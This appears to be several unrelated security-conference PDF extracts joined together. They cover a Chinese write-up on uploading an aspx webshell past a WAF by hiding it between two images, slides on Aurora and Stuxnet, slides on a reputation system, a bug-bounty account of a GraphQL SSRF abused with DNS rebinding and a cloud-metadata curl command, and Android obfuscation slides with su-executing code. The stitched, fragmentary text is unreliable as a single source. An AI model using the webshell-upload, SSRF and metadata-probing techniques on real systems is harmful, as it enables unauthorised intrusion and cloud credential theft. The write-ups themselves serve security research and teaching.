0x04 ⽂件内容检测——双图⽚夹恶意代码(偷袭)
前⾯既然直接传免杀Shell不⾏，我⼜测试了加⼊图⽚头，尝试绕过检测
例如：
发现并没有什么卵⽤，都GG了
JPEG (jpg)，⽂件头：FFD8FF
PNG (png)，⽂件头：89504E47
GIF (gif)，⽂件头：47494638
后⾯根据.NET特性，使⽤了UTF-16编码，也被拦截了，看来⻜塔对编码这块有所防范。
今天是肯德基疯狂星期四，突然⼀个想法，在我脑中闪过——“我们能不能在万绿丛中夹带⼀点红呢”
我们来试试“汉堡包法”
选取两张正常图⽚数据，中间夹带上我们的恶意代码
如图，成功上传带有恶意代码的aspx⽂件，⻜塔就此告破~
翻了⼀下后台的图⽚路径，成功拼接出shell的url路径
蚁剑加密⼀下流量，成功Getshell
0x05 总结
善⽤编码、宽字节，熟知每种开发语⾔的特性，是绕过WAF不可或缺的基本功
特殊情况下，思路灵活可以出奇制胜~ | pdf |
Verisign CONFIDENTIAL
Verisign CONFIDENTIAL
Verisign® iDefense®
Cyber Security Trends
Rick Howard, iDefense General Manager
June 22, 2011
2
How Technical Are You?
3
Agenda
Operation Aurora Impact
Stuxnet Impact
Cyber Security Disruptors
4
Learning Points
Theory Fact
5
Operation Aurora Impact
6
The Aurora Attacks – 5 Unprecedented Changes
7
The Aurora Attacks – 5 Unprecedented Changes
8
Defense Contractor
20
Smashed
The Aurora Attacks – 5 Unprecedented Changes
9
The Aurora Attacks – 5 Unprecedented Changes
10
The Aurora Attacks – 5 Unprecedented Changes
11
Moonlight Maze
Titan Rain
German Chancellor
Angela Merkel
The Aurora Attacks – 5 Unprecedented Changes
12
"We have been briefed by
Google on these allegations,
which raise very serious
concerns and questions,"
she said. We look to the
Chinese government for an
explanation."
Source: Network World: 13 Jan 2010
"We look to Chinese
authorities to conduct a
thorough investigation of the
cyber intrusions that led
Google to make this
announcement. We also look
for that investigation and its
results to be transparent."
Source: Washington Times: 21 Jan 2010
"It was a very open and candid conversation. We agreed
we would continue this conversation in the context of our
ongoing dialogue."
Source: France 24: 28 Jan 2010
Foreign Minister Yang Jiechi
The Aurora Attacks – 5 Unprecedented Changes
13
The Aurora Attacks – 5 Unprecedented Changes
14
The Aurora Attacks – 5 Unprecedented Changes
15
$100,000,000
Vulnerability Assessment
Capabilities Research
The Aurora Attacks – 5 Unprecedented Changes
16
The Aurora Attacks – 5 Unprecedented Changes
17
Moonlight Maze
Titan Rain
The Aurora Attacks – 5 Unprecedented Changes
Byzantine Hades
18
The Aurora Attacks – 5 Unprecedented Changes
19
The Aurora Attacks – 5 Unprecedented Changes
20
Is Hard …
But not Impossible
Confidence is High
The Aurora Attacks – 5 Unprecedented Changes
21
Is Hard …
But not Impossible
Confidence is High
The Aurora Attacks – 5 Unprecedented Changes
22
The Aurora Attacks – 5 Unprecedented Changes
23
Stuxnet Impact
24
The Stuxnet Attacks
Industrial Control Systems (ICS)
Supervisory Control
and Data Acquisition
Source: Vanity Fair Apr 2011
25
Natanz Nuclear site
The Stuxnet Attacks
Source: Vanity Fair Apr 2011
26
Industrial Control Systems (ICS)
Natanz Nuclear site
Data from W 32.Stuxnet Dossier
The Stuxnet Attacks
27
Stuxnet Timeline
Source: ISIS Feb 15 2011
2008
2009
2010
2011
First Strike
28
Stuxnet Timeline
Source: Washington Post Feb 16 2011
P1 centrifuges at Natanz
Originally published by EurasiaNet.org: 2008
Iranian President
Mahmoud Ahmadinejad
1000 Centrifuges Dismantled
2008
2009
2010
2011
29
2008
2009
2010
2011
Stuxnet Timeline
Source: Washington Post Feb 16 2011
P1 centrifuges at Natanz
Originally published by EurasiaNet.org: 2008
Iranian President
Mahmoud Ahmadinejad
2 Attacks
1000 Centrifuges Dismantled
30
Speculation
2008
2007
Theory
Proof of Concept
The Stuxnet Attacks
31
Speculation
The Stuxnet Attacks
Theory
Proof of Concept
2007
32
Sophisticated
Real
The Stuxnet Attacks
Compared to What?
33
$400K – $1.5 Mil
Well Financed
4
The Stuxnet Attacks – Why Sophisticated?
34
Driver Signing
The Stuxnet Attacks – Why Sophisticated?
35
The Stuxnet Attacks – Why Sophisticated?
JMicron (智微有限公司)
Source: Google Maps
Realtek Semiconductor Corp. (瑞昱半導體股份有限公司)
Source: Wolfram Alpha
Innovation Road,Hsinchu Science Park, Hsinchu, Taiwan
36
The Stuxnet Attacks – Why Sophisticated?
37
New Trend in 2010
The Stuxnet Attacks – Why Sophisticated?
38
Industrial Control Systems (ICS)
807 Hz and 1210 Hz
Centrifuge
The Stuxnet Attacks – Why Sophisticated?
Enriched
90%
39
Industrial Control Systems (ICS)
807 Hz and 1210 Hz
Centrifuge
1400 Hz
2 Hz
The Stuxnet Attacks – Why Sophisticated?
40
Driver Signing
The Stuxnet Attacks – Why Sophisticated?
41
2008
2009
2010
2011
Stuxnet Timeline
Source: Vanity Fair Apr 2011
Industrial Control Systems (ICS)
Supervisory Control
and Data Acquisition
42
2008
2009
2010
2011
Stuxnet Timeline
Source: Vanity Fair Apr 2011
43
2008
2009
2010
2011
Stuxnet Timeline
Source: Vanity Fair Apr 2011
44
2008
2009
2010
2011
Stuxnet Timeline
Source: Vanity Fair Apr 2011
Supervisory Control
and Data Acquisition
45
2008
2009
2010
2011
Stuxnet Timeline
Source: Secure List Jul 21 2010
46
2008
2009
2010
2011
Stuxnet Timeline
Source: Washington Post Sep 28 2010
30,000 Iranian Computers infected
Source: The Economist Sep 2010
½ of all Centrifuges are idle
47
2008
2009
2010
2011
Stuxnet Timeline
Source: NTI Nov 23 2010
Enriched
48
2008
2009
2010
2011
Stuxnet Timeline
Source: NTI Nov 23 2010
Enriched
49
2008
2009
2010
2011
Stuxnet Timeline
Source: NYT Nov 29 2010
Dr. Majid Shahryari
Source: Crethi Plethi Blog
http://www.crethiplethi.com/ahmadinejad-blames-west-and-israel-for-assassination-of-iranian-academics/islamic-countries/iran-islamic-countries/2010/
Dr. Fereidun Abbasi
Source: CNN
http://www.iranian.com/main/2010/nov/majid-shahriari
Assassinated
Assassination Attempt
50
Stuxnet Campaign
Natanz Back Online
Iranian Scientists Killed and Wounded
2008
2009
2010
Stuxnet Campaign Planning
Stuxnet First Strike
Stuxnet Second Strike
Public Discovery
Realtek Certificate Revoked
Stuxnet JMicron Certificate Installed
DDOS Attack against SCADA Forums
Natanz Taken Offline
JMicron Certificate Revoked
1000 Centrifuges Destroyed
51
Stuxnet Assessment
Source: NYT Jan 15 2011
Nuclear Program Delayed until 2015
No Affect
Source: ISIS Feb 15 2011
52
Driver Signing
Theory Fact
The Stuxnet Attacks – What about Them?
53
Cyber Security Disruptors
54
1997
Clayton Christensen
Theory
What is a Cyber Security Disruptor?
55
Clayton Christensen
Innovation
Business Failure
What is a Cyber Security Disruptor?
56
Clayton Christensen
Innovation
Catalysts
What is a Cyber Security Disruptor?
57
Clayton Christensen
Innovation
Momentum
What is a Cyber Security Disruptor?
58
Clayton Christensen
Innovation
Wither and Die
What is a Cyber Security Disruptor?
59
Clayton Christensen
What is a Cyber Security Disruptor?
60
Clayton Christensen
5 ¼ Inch
8 Inch
What is a Cyber Security Disruptor?
61
Clayton Christensen
5 ¼ Inch
8 Inch
What is a Cyber Security Disruptor?
The Little Tramp
62
Clayton Christensen
5 ¼ Inch
8 Inch
What is a Cyber Security Disruptor?
63
Clayton Christensen
5 ¼ Inch
8 Inch
What is a Cyber Security Disruptor?
64
Clayton Christensen
Shugart Associates
Micropolis
Priam
Quantum
5 ¼ Inch
8 Inch
What is a Cyber Security Disruptor?
65
Clayton Christensen
5 ¼ Inch
8 Inch
What is a Cyber Security Disruptor?
Micropolis
66
Clayton Christensen
Innovation
What is a Cyber Security Disruptor?
67
Cyber Security
Disruptor
Technology
Event
Catalysts
5-10 Years
What is a Cyber Security Disruptor?
68
10 Cyber Security Disruptors
69
Concept
Impact
Cyber Security Disruptor
70
Cyber Security
Disruptor
Cyber Security Disruptor
71
Event Horizon
Cyber Security Disruptors Timeline
72
Cyber Security Disruptors Timeline
73
Cyber Security Disruptors Timeline
74
Early Adopters
Cyber Security Disruptors Review
75
Concept
Impact
2015
Blacklists become unmanageable at
the Enterprise level
2010
Disruptor: TLDS & IDNS
76
IP Management just became very
complex
Concept
Impact
2013
System Administrator
Outsourcing
2010
2-5 Years
Disruptors: DNSSEC & IPv6
77
Concept
Impact
Intellectual Property is seriously at
risk.
2013
2010
Early Adopters
Disruptors: APT
78
Cyber Security Disruptors Timeline
79
Cyber Security Disruptors Early Adopters
80
Technology
Event
Cyber Security Disruptor
81
Conclusion
Operation Aurora Impact
Stuxnet Impact
Wikileaks Impact
Cyber Security Disruptors
82
Recap
Cyber Fraud
Cyber Security Essentials
Malware Analyst’s
Cookbook
2011 Cyber Threats
and Trends | pdf |
根据网上公开内容编写，漏洞通告：
https://mp.weixin.qq.com/s/OGBP0OkVdC2bZ0lzK2ZdjA
工具效果：
漏洞无损检测：
命令执行：
数据库文件读取：
文件上传：
代码加密：
流量解密：
命令执行流量特征（Base65）： | pdf |
Aura
A peer-to-peer reputation system
Cat Okita, 2003
Reputation Systems
• What is a Reputation System?
– Livejournal/Friendster, eBay, Advogato,
Slashcode
• Why do you care?
• What could you use this for?
– Establishing trust, performance metrics, meme
propagation, spam filtering
Challenges
• Authentication
• Trust
• Non-repudiation
Design Considerations
• Fast, resource efficient
• Secure - Difficult to corrupt information or
impersonate others
• Portable - Easy to use from any location
• Simple to use and extend (plugins)
• Independent - not dependant on a
centralized server
Attacks
• Information poisoning
– Flooding
– Trojans
– Identity theft
– Impersonation
– DoS
Implementation
• Peer-to-peer
– Local datastore
– Can also run as an aggregator
• Reputation
– overall personal and general, or by specific area
• Gossip
– information about indirect entities
A quick check of Reputation
•
Picking a mailer
–
Stable, fast, secure?
•
Finding out about a poster to a mailing list
–
Credibility: Crazy, expert, unknown?
•
Filtering
–
Personal or server level
Configuration
• Text-based configuration
– Use Templates to describe data format to
exchange details
• Requires use of public/private key
cryptography
Future Plans
• Pretty GUI
• Better cross-platform portability
• Improved statistical reporting
• Implementation of group keys
• Trigger automation
Finis
• Available at:
– http://www.geekness.net/tools/aura
• Email to:
– [email protected]
• Questions??? | pdf |
0x00
0x01
cd /Users/miku/Documents/hack/attack-tools/burpsuite/Burp2020.91
xxx/xxx/xx/jdk14/bin/java -jar Loader.jar
export JAVA_HOME=xxxx/xxx/xxx/jdk14
export PATH=xxxx/xxx/xxxx/bin:$PATH
cd /Users/miku/Documents/hack/attack-tools/burpsuite/Burp2020.91
xxx/xxx/xx/jdk14/bin/java -jar Loader.jar
/Library/Java/JavaVirtualMachines/
0x02
0x03
0x04 | pdf |
0x01 起因
前两天和朋友聊天，他发现了⼀家在hackerone上赏⾦颇⾼的Program，并且发现了其中的漏洞
让⽼夫羡慕不已
去hackerone看了看⼚商信息，漏洞奖励确实是⾮常诱⼈的
⽽且BugBounty Program Launched on Apr 2015....
8年hackerone的⽼⼚商了，业务点本来就不多，⼜被世界各国⽜逼的⿊客们挖了⼋年，难度可想⽽知
但是为了赏⾦迎难⽽上，才应该是真正的漏洞猎⼈该有的⻛格。
0x03 ⾛业务点万念俱灰到发现敏感请求
从Hackerone的Program scope中搜集了⼀下业务信息，虽然展开测试
测试了常规的⼀些WEB漏洞，IDOR等漏洞，发现完全没有⼀点机会，Filter和鉴权写的⾮常过硬，⽽且⽤户都是通
过uuid类型来传参进⾏身份鉴权
⾸先⽬标没有IDOR，其次哪怕有IDOR也⾮常难以利⽤
从晚上九点测到了第⼆天凌晨两点，啥也没测出来，万念俱灰准备洗洗睡了
但是⼼想还是看看Burp的HttpHistory吧，万⼀有⾃⼰没注意的敏感请求呢
结果没想到。。。还真就看到了⼀个graphql的敏感查询请求
url在json中传参，测啥漏洞，我想⼤家应该都懂
⽴⻢⽤Burp的Collaborator测试dnslog
POST /agw/graphql?op=UrlReachableVerifierQuery&client_trace_id=09bee58d-8358-4f00-acc0-
8d26d0018d32,rst:1678201703792 HTTP/1.1
Host: xxxxx
Cookie: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101
Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: xxxxx
Content-Length: 386
Origin: https://xxxxx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close
{"operationName":"UrlReachableVerifierQuery","variables":{
"url":"http://xxxx.com/"},"query":"query UrlReachableVerifierQuery($url: String!) {\n
verifyUrlReachable(url: $url) {\n ... on UrlReachableResult {\n url\n
__typename\n }\n ... on GenericError {\n errorCode\n message\n
__typename\n }\n __typename\n }\n}\n"}
果不其然，收到了来⾃两个IP的Http Request，但是⽬标的回显少的可怜
只有url，__typename两个键的JSON返回了回来
查了⼀下，两台发送请求的服务器都部署在GoogleCloud，瞬间就让⼈兴奋了起来
但是想了⼀下⼜萎了，GoogleCloud meta data(元数据)的获取不像国内的某某云，其必须带有特定的Header
这个SSRF点既没有回显也没法通过构造恶意⻚⾯的js发送带有header的数据，真是操蛋
request example:
curl "http://metadata.google.internal/computeMetadata/v1/instance/image" -H "Metadata-
Flavor: Google"
思前想后，寻思也算个盲SSRF，先交了再说
0x04 秒忽略NoBugBounty到利⽤Graphql发掘新的攻击⾯
交完这个盲SSRF点，睡了⼀觉起来，发现直接被⼚商的安全团队给忽略了
真是操蛋，盲SSRF看样不太⾏，混不到钱，我们必须得发掘新的攻击⾯
（不了解Graphql的兄弟可以看下下⾯这张图，⽣动地解释了Restful类型接⼝和Graphql接⼝的区别，上⽅为
restful接⼝请求样式，下⽅为graphql的接⼝请求样式）
既然这个点是基于Graphql进⾏查询的
那么我们可以⾃定义查询的column(param)，如果存在该column，那么就会返回这个参数的有效结果，⼆话不说
开始FUZZ
最终结果让⼈⾮常寒⼼，啥勾⼋东⻄也没有(这⾥当时的图忘存了)
再次陷⼊万念俱灰，但是仔细观察graphql查询请求的op参数，让我有了⼀点想法
op字段为UrlReachableVerifierQuery，我们为啥不试试拿他当query的column呢？
结果发现测试到UrlReachable这个字段时，reponse中出现了有效回显"Reachable"
nice，现在我们可以⽤这个接⼝来探测内⽹端⼝开放情况了
我直接使⽤GoogleCloud的meta data地址来探测端⼝连通性
没想到直接告诉我了个"Not_Reachable"。。
那么就得⽤点⽅法绕过了
0x05 绕过SSRF限制探测内⽹
试了试302跳转，短连接等⽅式，都不好使
于是寄出dns rebinding
在ceye上配置好dns rebinding的IP地址（googleCloud meta data的ip地址为169.254.169.254，借此来验证内
⽹连通性）
直接dns rebinding来绕过SSRF限制
发现我们成功获得了“Reachable”的结果！
接下来就是常规操作了，探测端⼝连通性
80端⼝reachable，其他端⼝Not_Reachable，已经证明了此处SSRF可探测内⽹
0x06 再次提交漏洞到triage
再次提交后漏洞得到了Triage | pdf |
08.10.2014
ANDROID HACKER
PROTECTION LEVEL 0
TIM “DIFF” STRAZZERE - JON “JUSTIN CASE” SAWYER
Defcon 22
+ some blackphone stuff
• CTO of Applied
Cybersecurity LLC
• Professional Exploit Troll
• Has big mouth
• @TeamAndIRC
• github.com/CunningLogic
!
• Research & Response
Engineer @ Lookout
• Obfuscation Junkie
• Pretends to know as much
as JCase
• @timstrazz
• github.com/strazzere
WHO ARE WE
JCASE
DIFF
More importantly - why should you care?
WHY ARE WE HERE
• Obfuscation is “magical”
!
• Quantifying the challenge is hard,
mainly marketing material in
Google results
• Good devs use it
• “Interesting” devs use it
• Bad devs use it
• Understanding apps is hard, let’s classify
everything as bad and just blog!
“So good, even malware authors use us!”
WHAT IS OUT THERE
• Then -
• Dex Education 101 - Blackhat 2012
• Anti-decompilation tricks
• Anti-analysis tricks
• Demo/Release POC packer
• General Optimizers / Minimal Obfuscators
• A little bit after…
• Integration of tricks, release of specific tools
• One off tools targeting environments/toolsets
• Now -
• Most anti-decompilation/analysis tricks fixed in mainstream tools
(baksmali, dex2jar, IDA Pro, radar)
• Main stream commercial packers, protectors and obfuscates
So - UPX and other stupid stuff?
PACKERS, PROTECTORS?
• Optimizers / Obfuscators
• Good practice for devs
• Removes dead code / debug code
• Potentially encrypt / obfuscate / hide via reflection
public!void!onClick(DialogInterface!arg7,!int!arg8)!{!
!
try!{!
!
!
Class.forName("java.lang.System").getMethod("exit",!Integer.TYPE).invoke(null,!Integer.valueOf(0));!
!
!
return;!
!
}!catch:(Throwable!throwable)!{!
!
!
throw!throwable.getCause();!
!
}!
}
public!void!onClick(DialogInterface!arg7,!int!arg8)!{!
!
try!{!
!
!
Class.forName(COn.ˊ(GCOn.ˋ[0xC],!COn.ˋ[0x12],!GCOn.ˋ[0x10])).getMethod(COn.ˊ(i1,!i2,!i2!|!6),!Integer.TYPE)!
!
!
!
.invoke(null,!Integer.valueOf(0));!
!
!
return;!
!
}!catch:(Throwable!throwable)!{!
!
!
throw!throwable.getCause();!
!
}!
}
So - UPX and other stupid stuff?
PACKERS, PROTECTORS?
• “Protectors”
• Classification similar to packers - manipulating “bad” code into workable
things post execution
• Performs anti-analysis/emulator tricks
Stub application
Broken Code
1. Executed
Stub fixes
code
Fixed Code
2. System/User events
3. Happy and normal
So - UPX and other stupid stuff?
PACKERS, PROTECTORS?
• Packers
• Similar to UPX and others - launcher stub and unfolding main application
into memory
• Performs anti-analysis/emulator tricks
Stub application
Hidden or
Encrypted
actual code
1. Executed
Stub unpacks
code
Stub application
Unpacked code
2. System/User events
3. Proxy via ClassPaths/etc
to real code
OPTIMIZERS &
OBFUSCATORS
Optimizers & Obfuscators
PROGUARD
• ~8 years older than Android
• Created by Eric Lafortune
• Specifically designed for Java
• Recommended By Google for
Android developers
!
• Optimizer
• Shrinker
!
• Obfuscator (barely)
!
• Cost: $FREE
• Bundled in Android SDK
Java Code
javac
Java Class Files
proguard
Optimized/Shrunk
Class Files
dx
classes.dex file
What we attack
at the end
Optimizers & Obfuscators
PROGUARD
• Removes unnecessary/unused code
• Merges identical code blocks
• Performs ‘peep hole’ optimizations
• Removes debug information
• Renames objects (compacting names)
• Restructures code
What does it do?
Optimizers & Obfuscators
PROGUARD
Class Structure List
Optimizers & Obfuscators
PROGUARD
Class “source” Data
(debug info)
#GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG!
!
.class!public!Utils!
.super!Object!
.source!"Utils.java"!
#GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG!
!
.class!public!ak!
.super!Object!
.source!“":
Optimizers & Obfuscators
PROGUARD
Line Numbers
(debug info)
.method!public!static!exec(String,!Boolean)String!
!!!!!!!!!!.registers!12!
!!!!!!!!!!.param!p0,!"cmd"!
!!!!!!!!!!.param!p1,!"root"!
!!!!!!!!!!.prologue!
!!!!!!!!!!.line!163!
!!!!!!!!!!constGstring!!!!!!!!!!!!v7,!"mksh"!
!!!!!!!!!!.line!164!
!!!!!!!!!!.local!v7,!shell:Ljava/lang/String;!
!!!!!!!!!!invokeGvirtual!!!!!!!!!!BooleanG>booleanValue()Z,!p1!
!!!!!!!!!!moveGresult!!!!!!!!!!!!!v8!
!!!!!!!!!!ifGeqz!!!!!!!!!!!!!!!!!!v8,!:14!
:10!
!!!!!!!!!!.line!165!
!!!!!!!!!!constGstring!!!!!!!!!!!!v7,!"su"
.method!public!static!a(String,!Boolean)String!
!!!!!!!!!!.registers!8!
!!!!!!!!!!constGstring!!!!!!!!!!!!v0,!"mksh"!
!!!!!!!!!!invokeGvirtual!!!!!!!!!!BooleanG>booleanValue()Z,!p1!
!!!!!!!!!!moveGresult!!!!!!!!!!!!!v1!
!!!!!!!!!!ifGeqz!!!!!!!!!!!!!!!!!!v1,!:14!
:10!
!!!!!!!!!!constGstring!!!!!!!!!!!!v0,!"su"
Optimizers & Obfuscators
PROGUARD
!!!public!static!String!exec(String!cmd,!Boolean!root)!{!
!!!!!!!!BufferedReader!bufferedReader;!
!!!!!!!!DataOutputStream!dataOutputStream;!
!!!!!!!!Process!process;!
!!!!!!!!String!string!=!"sh";!
!!!!!!!!if(root.booleanValue())!{!
!!!!!!!!!!!!string!=!"su";!
!!!!!!!!}!
!
!!!!!!!!StringBuilder!stringBuilder!=!new!StringBuilder();!
!!!!!!!!try!{!
!!!!!!!!!!!!process!=!Runtime.getRuntime().exec(string);!
!!!!!!!!!!!!dataOutputStream!=!new!DataOutputStream(process.getOutputStream());!
!!!!!!!!!!!!dataOutputStream.writeBytes(cmd!+!"\n");!
!!!!!!!!!!!!bufferedReader!=!new!BufferedReader(!
!
!
!
new!InputStreamReader(process.getInputStream()));!
!!!!!!!!}!
!!!!!!!!catch(IOException!iOException)!{!
!!!!!!!!!!!!goto!label_36;!
!!!!!!!!}!
!
!!!!!!!!try!{!
!!!!!!!!!!!!dataOutputStream.writeBytes("exit\n");!
!!!!!!!!!!!!dataOutputStream.flush();!
!!!!!!!!!!!!String!string1!=!System.getProperty("line.separator");!
!!!!!!!!!!!!while(true)!{!
!!!!!!!!!!!!!!!!String!string2!=!bufferedReader.readLine();!
!!!!!!!!!!!!!!!!if(string2!==!null)!{!
!!!!!!!!!!!!!!!!!!!!break;!
!!!!!!!!!!!!!!!!}!
!
!!!!!!!!!!!!!!!!stringBuilder.append(string2);!
!!!!!!!!!!!!!!!!stringBuilder.append(string1);!
!!!!!!!!!!!!}
!!!!public!static!String!a(String!arg6,!Boolean!arg7)!{!
!!!!!!!!Process!process;!
!!!!!!!!String!string!=!"mksh";!
!!!!!!!!if(arg7.booleanValue())!{!
!!!!!!!!!!!!string!=!"su";!
!!!!!!!!}!
!
!!!!!!!!StringBuilder!stringBuilder!=!new!StringBuilder();!
!!!!!!!!try!{!
!!!!!!!!!!!!process!=!Runtime.getRuntime().exec(string);!
!!!!!!!!!!!!DataOutputStream!dataOutputStream!=!new!DataOutputStream(!
!
!
!
process.getOutputStream());!
!!!!!!!!!!!!dataOutputStream.writeBytes(String.valueOf(arg6)!+!"\n");!
!!!!!!!!!!!!BufferedReader!bufferedReader!=!new!BufferedReader(!
!
!
!
new!InputStreamReader(process.getInputStream()));!
!!!!!!!!!!!!dataOutputStream.writeBytes("exit\n");!
!!!!!!!!!!!!dataOutputStream.flush();!
!!!!!!!!!!!!String!string1!=!System.getProperty("line.separator");!
!!!!!!!!!!!!while(true)!{!
!!!!!!!!!!!!!!!!String!string2!=!bufferedReader.readLine();!
!!!!!!!!!!!!!!!!if(string2!==!null)!{!
!!!!!!!!!!!!!!!!!!!!break;!
!!!!!!!!!!!!!!!!}!
!
!!!!!!!!!!!!!!!!stringBuilder.append(string2);!
!!!!!!!!!!!!!!!!stringBuilder.append(string1);!
!!!!!!!!!!!!}
Original Java Source
Decompiled ProGuarded Output
Optimizers & Obfuscators
PROGUARD
• Decreases dex file size
• Increases app speed/performance
• Decreases memory usage
• Removes debug information
(slightly increase reversing complexity)
• Doesn’t do much obfuscation
• “Hacker Protection Factor 0”
What is it good for?
Optimizers & Obfuscators
DEXGUARD
• Son of ProGuard
• Create by Eric Lafortune
• “Standard” protection
• Optimizer
• Shrinker
• Obfuscator/Encryptor
• Cost: $650 - $1300
Java Code
javac
Java Class Files
dexguard
Optimized/Shrunk/Obfuscated
Class Files
dx
classes.dex file
What we attack
at the end
Optimizers & Obfuscators
DEXGUARD
• Everything ProGuard does
• Automatic reflection
• String encryption
• Asset & library encryption
• Class encryption (packing)
• Application tamper detection
What does it do?
Optimizers & Obfuscators
DEXGUARD
Automatic Reflection
public!void!onClick(DialogInterface!arg2,!int!arg3)!{!
!
System.exit(0);!
}
public!void!onClick(DialogInterface!arg7,!int!arg8)!{!
!
try!{!
!
!
Class.forName("java.lang.System").getMethod("exit",!Integer.TYPE).invoke(null,!Integer.valueOf(0));!
!
!
return;!
!
}!catch:(Throwable!throwable)!{!
!
!
throw!throwable.getCause();!
!
}!
}
public!void!onClick(DialogInterface!arg7,!int!arg8)!{!
!
try!{!
!
!
Class.forName(COn.ˊ(GCOn.ˋ[0xC],!COn.ˋ[0x12],!GCOn.ˋ[0x10])).getMethod(COn.ˊ(i1,!i2,!i2!|!6),!Integer.TYPE)!
!
!
!
.invoke(null,!Integer.valueOf(0));!
!
!
return;!
!
}!catch:(Throwable!throwable)!{!
!
!
throw!throwable.getCause();!
!
}!
}
String Encryption
Optimizers & Obfuscators
DEXGUARD
String Encryption
public!static!void!kaBoom(Context!context)!{!
!
while(true)!{!
!
!
context.sendStickyBroadcast(new!Intent("android.net.wifi.STATE_CHANGE"));!
!
}!
}
MainActivity.鷭!=!new!byte[]{0x4C,!0xE,!2,!9,!N7,!0x10,!N54,!0x3E,!0x17,!N9,!N44,!0x4C,!0xA,!0x1B,!N7,!0x13,!N98,!!
!
6,!0x1B,!N76,!0x17,!0x4C,!0xE,!2,!9,!N7,!0x10,!N54,!0x3E,!0x17,!N9,!N44,!0x42,!0xD,!0xD,!9,!N11,!0x13,!8,!!
!
N55,!0x4D,!N5,!6,!0x14,!0xF,!N9,!0x15,!0xF,!N67,!0x4D,!N3,!N64,!0x26,!N22,!0x17,!0x4C,!0xE,!2,!9,!N7,!0x10,!!
!
N54,!0x3E,!0x17,!N9,!N44,!0x42,!0xD,!0xD,!9,!N11,!0x13,!8,!N55,!0x4D,!N5,!6,!0x14,!0xF,!N9,!0x15,!0xF,!N67,!!
!
0x4D,!N3,!N50,!0x3C,!7,!0xA,!0x10,!0x12,!3,!0xA,!3,!N3,!0x15,!9,!0xA,!N63,!0x3B,!0x17,!3,!5,!8,!0xD,!N62,!!
!
0x4D,!N3,!0x12,!0x19,!4,!3,!0xD,!1,!0x2E,!0x13,!N5,!8,!N3,!0xD,!0xD,!0xA,!N3,!N60,!0x1F,!6,!8,!N13,!0x17,!!
!
0x4C,!0xE,!2,!9,!N7,!0x10,!N54,!0x3E,!0x17,!N9,!N44,!0x42,!0xD,!0xD,!9,!N11,!0x13,!8,!N55,!0x4D,!N5,!6,!!
!
0x14,!0xF,!N9,!0x15,!0xF,!N67,!0x4D,!N3,!3,!N69,!0x17,!0x3D,!5,!0x1B,!N11,!N42,!0x45,!N3,!0x1A,!9,!N13:…!};
public!static!void!鷭(MainActivity!arg4)!{!
!
while(true)!{!
!
!
((Context)arg4).sendStickyBroadcast(new!Intent(MainActivity.鷭(0xFFFFFE84,!0x23,!0x276)));!
!
}!
}
Original Code
Encrypted Strings in Main Array
New Obfuscated Code
Optimizers & Obfuscators
DEXGUARD
String Encryption Code Example
private!static!String!鷭(int!arg6,!int!arg7,!int!arg8)!{!
!
int!i2;!
!
int!i1;!
!
arg7!+=!0x3E;!
!
byte[]!array_b!=!MainActivity.鷭;!
!
int!i!=!0;!
!
arg6!+=!0x199;!
!
byte[]!array_b1!=!new!byte[arg6];!
!
if(array_b!==!null)!{!
!
i1!=!arg6;!
!
i2!=!arg8;!
!
}!else!{!
!
!
label_12:!
!
!
array_b1[i]!=!((byte)arg7);!
!
!
++i;!
!
!
if(i!>=!arg6)!{!
!
!
!
return!new!String(array_b1,!0);!
!
!
}!else!{!
!
!
!
i1!=!arg7;!
!
!
!
i2!=!array_b[arg8];!
!
!
}!
!
}!
!
!
++arg8;!
!
arg7!=!i1!+!i2!G!8;!
!
goto!label_12;!
}
private!static!String!decrypt(int!length,!
!
!
!
!
!
!
!!int!cChar,!
!
!
!
!
!
!
!!int!pos)!{!
!
int!i!=!0;!
!
int!j!=!0;!
!
int!k!=!0;!
!
cChar!+=!0x3E;!
!
length!+=!0x199;!
!
byte[]!arrENC!=!new!byte[length];!
!
while(i!<!length)!{!
!
!
arrENC[i]!=!((byte)cChar);!
!
!
k!=!cChar;!
!
!
if(pos!<!STRINGS.length)!
!
!
!
j!=!STRINGS[pos];!
!
!
++pos;!
!
!
cChar!=!k!+!j!G!8;!
!
!
++i;!
!
}!
!
return!new!String(arrENC,!0);!
}
Obfuscated Decryption Function
Deobfuscated
Optimizers & Obfuscators
DEXGUARD
Asset & Library Encryption
!
AssetManager!assetManager!=!context.getAssets();!
:
File!output!=!new!File("/data/data/com.cunninglogic.bookexample/temproot");!
!
InputStream!inputStream!=!assetManager.open("temproot");!
!
Cipher!cipher!=!Cipher.getInstance(“AES/CFB/NoPadding");!
!
!
byte[]!myKey!=!new!byte[]{N114,!N53,!N9,!N86,!N13,!N14,!N115,!0x6F,!N41,!N39,!!
!
!
5,!0x28,!N46,!0x74,!N10,!N20};!
!
SecretKeySpec!secretKeySpec!=!new!SecretKeySpec(myKey,!“AES");!
!
!
//!Initialization!vector!!
!
byte[]!myIV!=!new!byte[]{N69,!0x49,!N91,!N7,!N53,!2,!N71,!N97,!N48,!0x62,!N71,!!
!
!
0x78,!0x11,!N90,!N85,!N107};!
!
int!i!=!myIV[7]!&!0x2D;!
!
myIV[i]!=!((byte)(i!|!0x52));!
!
!
cipher.init(Cipher.DECRYPT_MODE,!secretKeySpec,!myIV);!
!
CipherInputStream!cipherInputStream!=!new!CipherInputStream(inputStream,!!
!
!
cipher);!
!
FileOutputStream!fileOutputStream!=!new!FileOutputStream(output);!
!
byte[]!buf!=!new!byte[1024];!
!
int!read;!
!
while(read!=!cipherInputStream.read(buf)!|=!G1)!{!
!
!
fileOutputStream.write(buf,!0,!read);!
!
}!
!
!
inputStream.close();!
!
cipherInputStream.close();!
!
fileOutputStream.flush();!
!
fileOutputStream.close();
Optimizers & Obfuscators
DEXGUARD
Class Encryption
File!output!=!new!File(“/out/put/path/decrypted.zip");!//!Path!to!write!zipfile!to!
!
byte[]!myKey!=!new!byte[]{!...!};!//!Key!
